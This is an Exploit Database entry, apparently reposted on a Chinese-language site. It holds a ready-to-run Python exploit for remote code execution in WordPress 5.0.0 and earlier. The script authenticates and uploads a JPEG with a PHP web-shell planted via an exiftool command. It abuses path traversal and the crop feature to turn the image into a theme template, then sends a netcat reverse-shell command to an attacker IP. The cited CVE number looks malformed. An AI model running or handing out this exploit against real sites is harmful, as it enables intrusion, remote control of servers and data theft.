WordPress 5.0.0 – Image Remote Code Execution

Exploit Database
130 阅读

作者： OUSSAMA RAHALI

日期： 2021-02-01
类别：
- webapps
平台：
- php
来源：https://www.exploit-db.com/exploits/49512/

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# Exploit Title: WordPress 5.0.0 - Image Remote Code Execution

# Date: 2020-02-01

# Exploit Authors: OUSSAMA RAHALI ( aka V0lck3r)

# Discovery Author : RIPSTECH Technology

# Version: WordPress 5.0.0 and <= 4.9.8 .

# References : CVE-2019-89242 | CVE-2019-89242| https://blog.ripstech.com/2019/wordpress-image-remote-code-execution/

#/usr/bin/env python3

import requests

import re

import sys

from datetime import datetime

banner = """

_____ ____ ____ _____

\ \/ /___ __ __| |_ ___ __ ______ ___|_ \ / ___| ____|

\ \ /\ / / _ \| '__/ _<code> | '_ \| '__/ _ \/ __/ __| | |_) | | |_|

\ VV / (_) | | | (_| | |_) | | |__/\__ \__ \ |_ <| |___| |___

\_/\_/ \___/|_|\__,_| .__/|_|\___||___/___/ |_| \_\\____|_____|

|_|

5.0.0 and <= 4.9.8

"""

print(banner)

print("usage :")

print("=======")

usage = 'python3 RCE_wordpress.py http://<IP>:<PORT>/ <Username> <Password> <WordPress_theme>'

print(usage)

url = sys.argv[1]

username = sys.argv[2]

password = sys.argv[3]

wp_theme = sys.argv[4] # wpscan results

lhost = '10.10.10.10' #attacker ip

lport = '4141' #listening port

date = str(datetime.now().strftime('%Y'))+'/'+str(datetime.now().strftime('%m'))+'/'

imagename = 'gd.jpg'

# ======

# Note :

# ======

# It could be any jpg image, BUT there are some modifications first :

# 1- image name as : "gd.jpg"

# 2- place the image in the same directory as this exploit.

# 3- inject the php payload via exiftool : exiftool gd.jpg -CopyrightNotice="<?=</code>\$_GET[0]`?>"

data = {

'log':username,

'pwd':password,

'wp-submit':'Log In',

'redirect_to':url+'wp-admin/',

'testcookie':1

}

r = requests.post(url+'wp-login.php',data=data)

if r.status_code == 200:

print("[+] Login successful.\n")

else:

print("[-] Failed to login.")

exit(0)

cookies = r.cookies

print("[+] Getting Wp Nonce ... ")

res = requests.get(url+'wp-admin/media-new.php',cookies=cookies)

wp_nonce_list = re.findall(r'name="_wpnonce" value="(\w+)"',res.text)

if len(wp_nonce_list) == 0 :

print("[-] Failed to retrieve the _wpnonce \n")

exit(0)

else :

wp_nonce = wp_nonce_list[0]

print("[+] Wp Nonce retrieved successfully ! _wpnonce : " + wp_nonce+"\n")

print("[+] Uploading the image ... ")

data = {

'name': 'gd.jpg',

'action': 'upload-attachment',

'_wpnonce': wp_nonce

}

image = {'async-upload': (imagename, open(imagename, 'rb'))}

r_upload = requests.post(url+'wp-admin/async-upload.php', data=data, files=image, cookies=cookies)

if r_upload.status_code == 200:

image_id = re.findall(r'{"id":(\d+),',r_upload.text)[0]

_wp_nonce=re.findall(r'"update":"(\w+)"',r_upload.text)[0]

print('[+] Image uploaded successfully ! Image ID :'+ image_id+"\n")

else :

print("[-] Failed to receive a response for uploaded image ! try again . \n")

exit(0)

print("[+] Changing the path ... ")

data = {

'_wpnonce':_wp_nonce,

'action':'editpost',

'post_ID':image_id,

'meta_input[_wp_attached_file]':date+imagename+'?/../../../../themes/'+wp_theme+'/rahali'

}

res = requests.post(url+'wp-admin/post.php',data=data, cookies=cookies)

if res.status_code == 200:

print("[+] Path has been changed successfully. \n")

else :

print("[-] Failed to change the path ! Make sure the theme is correcte .\n")

exit(0)

print("[+] Getting Ajax nonce ... ")

data = {

'action':'query-attachments',

'post_id':0,

'query[item]':43,

'query[orderby]':'date',

'query[order]':'DESC',

'query[posts_per_page]':40,

'query[paged]':1

}

res = requests.post(url+'wp-admin/admin-ajax.php',data=data, cookies=cookies)

ajax_nonce_list=re.findall(r',"edit":"(\w+)"',res.text)

if res.status_code == 200 and len(ajax_nonce_list) != 0 :

ajax_nonce = ajax_nonce_list[0]

print('[+] Ajax Nonce retrieved successfully ! ajax_nonce : '+ ajax_nonce+'\n')

else :

print("[-] Failed to retrieve ajax_nonce.\n")

exit(0)

print("[+] Cropping the uploaded image ... ")

data = {

'action':'crop-image',

'_ajax_nonce':ajax_nonce,

'id':image_id,

'cropDetails[x1]':0,

'cropDetails[y1]':0,

'cropDetails[width]':200,

'cropDetails[height]':100,

'cropDetails[dst_width]':200,

'cropDetails[dst_height]':100

}

res = requests.post(url+'wp-admin/admin-ajax.php',data=data, cookies=cookies)

if res.status_code == 200:

print("[+] Done . \n")

else :

print("[-] Erorr ! Try again \n")

exit(0)

print("[+] Creating a new post to include the image... ")

res = requests.post(url+'wp-admin/post-new.php', cookies=cookies)

if res.status_code == 200:

_wpnonce = re.findall(r'name="_wpnonce" value="(\w+)"',res.text)[0]

post_id = re.findall(r'"post":{"id":(\w+),',res.text)[0]

print("[+] Post created successfully . \n")

else :

print("[-] Erorr ! Try again \n")

exit(0)

data={

'_wpnonce':_wpnonce,

'action':'editpost',

'post_ID':post_id,

'post_title':'RCE poc by v0lck3r',

'post_name':'RCE poc by v0lck3r',

'meta_input[_wp_page_template]':'cropped-rahali.jpg'

}

res = requests.post(url+'wp-admin/post.php',data=data, cookies=cookies)

if res.status_code == 200:

print("[+] POC is ready at : "+url+'?p='+post_id+'&0=id\n')

print("[+] Executing payload !")

requests.get(f"{url}?p={post_id}&0=rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%20{lhost}%20{lport}%20%3E%2Ftmp%2Ff",cookies=cookies)

else :

print("[-] Erorr ! Try again (maybe change the payload) \n")

exit(0)